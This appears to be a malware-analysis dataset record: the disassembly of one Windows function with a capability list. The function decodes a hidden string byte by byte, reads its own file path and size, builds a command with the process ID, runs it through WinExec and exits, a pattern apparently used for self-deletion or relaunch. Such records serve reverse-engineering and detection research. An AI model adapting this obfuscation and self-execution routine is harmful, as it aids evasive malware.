Function at 0x448790
Capabilities:
Create process on windows
Get file size
Terminate process

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
and esp, 0xfffffff8
sub esp, 0x20
mov esi, esp
mov eax, dword [0x476678]
test eax, eax
jne 0x448fcf
movzx eax, byte [0x4756e0]
mov ecx, eax
add cl, al
and cl, 0xf6
sub al, cl
add al, 0xfb
mov byte [0x475750], al
movzx eax, byte [0x4756e1]
xor al, 0xed
mov byte [0x475751], al
movzx eax, byte [0x4756e2]
mov ecx, eax
not cl
mov edx, eax
or dl, 0xe1
xor al, 0x1e
and al, dl
and cl, 0x1e
or cl, al
mov byte [0x475752], cl
movzx eax, byte [0x4756e3]
xor al, 0x29
mov byte [0x475753], al
movzx ecx, byte [0x4756e4]
mov eax, ecx
add al, cl
not al
add al, cl
mov edx, eax
and dl, 0x20
and cl, 0xc
or cl, dl
or cl, 0x52
and al, 0xd3
xor al, cl
xor al, 0x8d
mov byte [0x475754], al
movzx eax, byte [0x4756e5]
mov ecx, eax
add cl, al
and cl, 0x12
sub al, cl
add al, 0x89
mov byte [0x475755], al
movzx ecx, byte [0x4756e6]
mov eax, ecx
add al, cl
not al
add al, cl
and al, 0x9e
mov edx, ecx
not dl
or dl, 0x61
add dl, cl
inc dl
or dl, al
mov byte [0x475756], dl
movzx eax, byte [0x4756e7]
xor al, 0x11
mov byte [0x475757], al
movzx edx, byte [0x4756e8]
mov ch, dl
and ch, 0x60
mov cl, dl
and cl, 2
mov al, ch
xor al, 0xfe
mul cl
mov cl, al
mov eax, edx
or al, 0xfd
inc al
mul ch
add al, cl
add al, dl
add al, 0x62
mov byte [0x475758], al
movzx eax, byte [0x4756e9]
mov ecx, eax
add cl, al
not cl
add cl, al
and cl, 0x31
and al, 0xce
or al, cl
mov byte [0x475759], al
movzx eax, byte [0x4756ea]
xor al, 0x9d
mov byte [0x47575a], al
movzx eax, byte [0x4756eb]
xor al, 0xa1
mov byte [0x47575b], al
movzx eax, byte [0x4756ec]
not al
mov ecx, eax
and cl, 0xb8
or al, 0xb8
mov edx, ecx
add dl, cl
not dl
add dl, cl
and dl, al
mov byte [0x47575c], dl
movzx eax, byte [0x4756ed]
xor al, 0xc4
mov byte [0x47575d], al
movzx eax, byte [0x4756ee]
xor al, 0x12
mov byte [0x47575e], al
movzx eax, byte [0x4756ef]
xor al, 0xcb
mov byte [0x47575f], al
movzx eax, byte [0x4756f0]
mov ecx, eax
add cl, al
and cl, 0x92
add al, 0x49
mov edx, eax
sub dl, cl
mov ecx, edx
add cl, dl
not cl
add cl, dl
add cl, cl
and cl, 0x92
sub al, cl
mov byte [0x475760], al
movzx eax, byte [0x4756f1]
not al
mov byte [0x475761], al
movzx eax, byte [0x4756f2]
xor al, 0x78
mov byte [0x475762], al
movzx ecx, byte [0x4756f3]
mov eax, ecx
not al
and cl, 0xbe
and al, 0x41
mov edx, ecx
add dl, cl
not dl
add dl, cl
mov ecx, eax
add cl, al
not cl
add cl, al
and cl, dl
mov byte [0x475763], cl
movzx eax, byte [0x4756f4]
xor al, 0x59
mov byte [0x475764], al
movzx eax, byte [0x4756f5]
mov ecx, eax
mov edx, eax
and dl, 0x30
sub dl, al
xor al, 0xcf
or cl, 0x30
and cl, al
add dl, 0xcf
or dl, cl
not dl
mov byte [0x475765], dl
movzx eax, byte [0x4756f6]
mov ecx, eax
not cl
or cl, 0x9e
or al, 0x61
and al, cl
mov byte [0x475766], al
movzx eax, byte [0x4756f7]
xor al, 0x99
mov byte [0x475767], al
movzx eax, byte [0x4756f8]
xor al, 0x4d
mov byte [0x475768], al
movzx eax, byte [0x4756f9]
mov ecx, eax
add cl, al
and cl, 0x1e
xor cl, 0xf
mov edx, eax
shl dl, 2
and dl, 0x20
sub al, dl
add al, cl
mov byte [0x475769], al
movzx eax, byte [0x4756fa]
xor al, 0xee
mov byte [0x47576a], al
movzx eax, byte [0x4756fb]
xor al, 0x4c
mov byte [0x47576b], al
movzx eax, byte [0x4756fc]
mov ecx, eax
and cl, 0x45
mov edx, ecx
sub dl, al
add dl, 0xba
or dl, cl
mov byte [0x47576c], dl
movzx eax, byte [0x4756fd]
mov ecx, eax
add cl, al
and cl, 0xa4
sub al, cl
add al, 0x52
mov byte [0x47576d], al
movzx eax, byte [0x4756fe]
xor al, 0xf5
mov byte [0x47576e], al
movzx eax, byte [0x4756ff]
xor al, 0x27
mov byte [0x47576f], al
movzx eax, byte [0x475700]
mov ecx, eax
add cl, al
and cl, 0x72
sub al, cl
add al, 0x39
mov byte [0x475770], al
movzx eax, byte [0x475701]
mov ecx, eax
add cl, al
and cl, 0x8a
sub al, cl
add al, 0xc5
mov byte [0x475771], al
movzx eax, byte [0x475702]
xor al, 0xf7
mov byte [0x475772], al
movzx eax, byte [0x475703]
mov ecx, eax
add cl, al
and cl, 0xdc
sub al, cl
add al, 0xee
mov byte [0x475773], al
movzx eax, byte [0x475704]
xor al, 0x45
mov byte [0x475774], al
movzx eax, byte [0x475705]
mov ecx, eax
add cl, al
and cl, 0xa4
sub al, cl
add al, 0xd2
mov byte [0x475775], al
movzx eax, byte [0x475706]
mov ecx, eax
add cl, al
not cl
add cl, al
and cl, 0x9e
and al, 0x61
or al, cl
xor al, 0x7e
mov byte [0x475776], al
movzx eax, byte [0x475707]
mov ecx, eax
add cl, al
and cl, 0xc0
sub al, cl
add al, 0xe0
mov byte [0x475777], al
movzx eax, byte [0x475708]
xor al, 0x36
mov byte [0x475778], al
movzx eax, byte [0x475709]
mov ecx, eax
add cl, al
and cl, 0xd2
sub al, cl
add al, 0x69
mov byte [0x475779], al
movzx eax, byte [0x47570a]
xor al, 0xae
mov byte [0x47577a], al
movzx eax, byte [0x47570b]
mov ecx, eax
not cl
mov edx, ecx
or dl, 0xca
add dl, al
inc dl
and cl, 0x35
or cl, dl
mov byte [0x47577b], cl
movzx eax, byte [0x47570c]
xor al, 0x7e
mov byte [0x47577c], al
movzx eax, byte [0x47570d]
mov ecx, eax
add cl, al
and cl, 0xbe
sub al, cl
add al, 0x5f
mov byte [0x47577d], al
movzx eax, byte [0x47570e]
xor al, 0xbc
mov byte [0x47577e], al
movzx eax, byte [0x47570f]
xor al, 0xee
mov byte [0x47577f], al
movzx eax, byte [0x475710]
xor al, 0xe7
mov byte [0x475780], al
movzx eax, byte [0x475711]
mov ecx, eax
add cl, al
and cl, 0x9e
sub al, cl
add al, 0xcf
mov byte [0x475781], al
movzx eax, byte [0x475712]
xor al, 0xae
mov byte [0x475782], al
movzx eax, byte [0x475713]
xor al, 0x15
mov byte [0x475783], al
movzx eax, byte [0x475714]
mov ecx, eax
add cl, al
and cl, 0x84
sub al, cl
add al, 0xc2
mov byte [0x475784], al
movzx eax, byte [0x475715]
xor al, 0x97
mov byte [0x475785], al
movzx eax, byte [0x475716]
xor al, 0xc4
mov byte [0x475786], al
movzx eax, byte [0x475717]
xor al, 0x71
mov byte [0x475787], al
movzx eax, byte [0x475718]
mov ecx, eax
xor cl, 0x1e
mov edx, eax
or dl, 0x61
and dl, cl
add dl, dl
sub al, dl
add al, 0x61
mov byte [0x475788], al
movzx eax, byte [0x475719]
mov ecx, eax
not cl
or al, 0x4c
or cl, 0xb3
and cl, al
not cl
mov byte [0x475789], cl
movzx eax, byte [0x47571a]
xor al, 0xc
mov byte [0x47578a], al
movzx eax, byte [0x47571b]
xor al, 0x27
mov byte [0x47578b], al
movzx eax, byte [0x47571c]
xor al, 0x70
mov byte [0x47578c], al
movzx eax, byte [0x47571d]
xor al, 0xe2
mov byte [0x47578d], al
movzx eax, byte [0x47571e]
xor al, 0x84
mov byte [0x47578e], al
movzx eax, byte [0x47571f]
xor al, 0x92
mov byte [0x47578f], al
movzx eax, byte [0x475720]
xor al, 0xeb
mov byte [0x475790], al
movzx eax, byte [0x475721]
mov ecx, eax
not cl
mov edx, ecx
and dl, 0x50
or cl, 0xaf
add cl, al
inc cl
or cl, dl
xor cl, 7
mov byte [0x475791], cl
movzx eax, byte [0x475722]
xor al, 0x8a
mov byte [0x475792], al
movzx eax, byte [str.W__]
xor al, 0x77
mov byte [0x475793], al
movzx eax, byte [0x475724]
xor al, 0x43
mov byte [0x475794], al
movzx eax, byte [0x475725]
xor al, 0x39
mov byte [0x475795], al
movzx eax, byte [0x475726]
xor al, 0x55
mov byte [0x475796], al
movzx eax, byte [0x475727]
mov ecx, eax
add cl, al
and cl, 0x92
sub al, cl
add al, 0xc9
mov byte [0x475797], al
movzx eax, byte [0x475728]
mov ecx, eax
add cl, al
and cl, 0x78
sub al, cl
add al, 0xbc
mov byte [str.40], al
movzx eax, byte [0x475729]
xor al, 0x1c
mov byte [0x475799], al
movzx edx, byte [0x47572a]
mov ch, dl
and ch, 0x39
mov cl, dl
and cl, 2
mov al, 0xfe
sub al, ch
mul cl
mov cl, al
mov eax, edx
or al, 0xfd
inc al
mul ch
add al, cl
add al, dl
add al, 0x3b
mov byte [0x47579a], al
movzx eax, byte [0x47572b]
xor al, 0xdc
mov byte [0x47579b], al
movzx eax, byte [0x47572c]
xor al, 0x79
mov byte [0x47579c], al
movzx eax, byte [0x47572d]
xor al, 0xa5
mov byte [0x47579d], al
movzx eax, byte [0x47572e]
xor al, 8
mov byte [0x47579e], al
movzx eax, byte [0x47572f]
xor al, 0xdc
mov byte [0x47579f], al
movzx eax, byte [0x475730]
xor al, 0x91
mov byte [0x4757a0], al
movzx eax, byte [0x475731]
xor al, 0x9f
mov byte [0x4757a1], al
movzx eax, byte [0x475732]
xor al, 0x49
mov byte [0x4757a2], al
movzx eax, byte [0x475733]
mov ecx, eax
not cl
and cl, 0x48
mov edx, eax
xor dl, 0x48
or al, 0xb7
and al, dl
or al, cl
xor al, 0xdb
mov byte [0x4757a3], al
movzx eax, byte [0x475734]
xor al, 0x28
mov byte [0x4757a4], al
movzx eax, byte [0x475735]
xor al, 0xc
mov byte [0x4757a5], al
movzx edx, byte [0x475736]
mov ch, dl
and ch, 0x54
mov cl, dl
and cl, 2
mov al, ch
xor al, 0xfe
mul cl
mov cl, al
mov eax, edx
or al, 0xfd
inc al
mul ch
add al, cl
add al, dl
add al, 0x56
mov byte [0x4757a6], al
movzx eax, byte [0x475737]
mov ecx, eax
add cl, al
and cl, 0xe0
sub al, cl
add al, 0xf0
mov byte [0x4757a7], al
movzx eax, byte [0x475738]
mov ecx, eax
not cl
mov edx, eax
add dl, al
not dl
add dl, al
and dl, cl
or dl, 0x6f
or al, 0x90
and al, dl
mov byte [0x4757a8], al
movzx eax, byte [0x475739]
xor al, 0xd2
mov byte [0x4757a9], al
movzx eax, byte [0x47573a]
mov ecx, eax
not cl
and cl, 0xe7
mov edx, eax
xor dl, 0xe7
or al, 0x18
and al, dl
or al, cl
mov byte [0x4757aa], al
movzx eax, byte [0x47573b]
xor al, 0xc6
mov byte [0x4757ab], al
movzx eax, byte [0x47573c]
mov ecx, eax
add cl, al
and cl, 0xa8
sub al, cl
add al, 0xd4
mov byte [0x4757ac], al
movzx eax, byte [0x47573d]
xor al, 7
mov byte [0x4757ad], al
movzx eax, byte [0x47573e]
mov ecx, eax
xor cl, 0xbf
add cl, al
not al
mov edx, eax
and dl, 0x40
add cl, dl
inc cl
and al, 0xbf
or al, cl
mov ecx, eax
add cl, al
not cl
add cl, al
mov byte [0x4757ae], cl
movzx eax, byte [0x47573f]
xor al, 0xf9
mov byte [0x4757af], al
movzx eax, byte [0x475740]
xor al, 0xb8
mov byte [0x4757b0], al
movzx eax, byte [0x475741]
xor al, 0xdb
mov ecx, eax
add cl, al
not cl
add cl, al
mov byte [0x4757b1], cl
movzx eax, byte [0x475742]
mov ecx, eax
not cl
or al, 0xbf
or cl, 0x40
and cl, al
not cl
mov byte [0x4757b2], cl
movzx eax, byte [0x475743]
xor al, 0xf5
mov byte [0x4757b3], al
movzx eax, byte [0x475744]
xor al, 0x28
mov byte [0x4757b4], al
movzx eax, byte [0x475745]
xor al, 0x5e
mov byte [0x4757b5], al
movzx eax, byte [0x475746]
xor al, 0x76
mov byte [0x4757b6], al
movzx eax, byte [0x475747]
xor al, 0xca
mov byte [0x4757b7], al
mov dword [0x476678], 1
push eax
sub esp, 0x7fc
mov dword [esi + 0x14], esp
sub esp, 0x200
mov edi, esp
mov dword [esi + 0xc], edi
sub esp, 8
mov eax, esp
and eax, 0xfffffff8
mov esp, eax
mov ebx, eax
push eax
sub esp, 0x64
mov dword [esi + 0x10], esp
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push 0x200
push edi
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0
push 0
push 3
push 0
push 7
push 0x80000000
push edi
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [esi + 8], eax
mov dword [esi + 4], ebx
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov eax, dword [ebx]
mov ecx, dword [ebx + 4]
mov edi, eax
xor edi, 1
mov ebx, ecx
shld ebx, eax, 1
lea edx, [eax + eax]
and edx, 0xfffffffc
xor eax, 0xfffffffe
and eax, edx
not edx
and edx, edi
mov edi, ebx
not edi
and edi, ecx
not ecx
and ecx, ebx
sub eax, edx
sbb ecx, edi
mov edi, dword [esi + 4]
mov dword [edi], eax
mov dword [edi + 4], ecx
push dword [esi + 8]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
push 0x68
push 0x475750
mov ebx, dword [esi + 0x10]
push ebx
call fcn.0044fc60
add esp, 0xc
mov eax, dword [esi + 0xc]
push eax
push eax
push dword [edi]
push ebx
push 0x800
mov edi, dword [esi + 0x14]
push edi
call fcn.004490c0
add esp, 0x18
push 0
push edi
call dword [sym.imp.KERNEL32.dll_WinExec]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]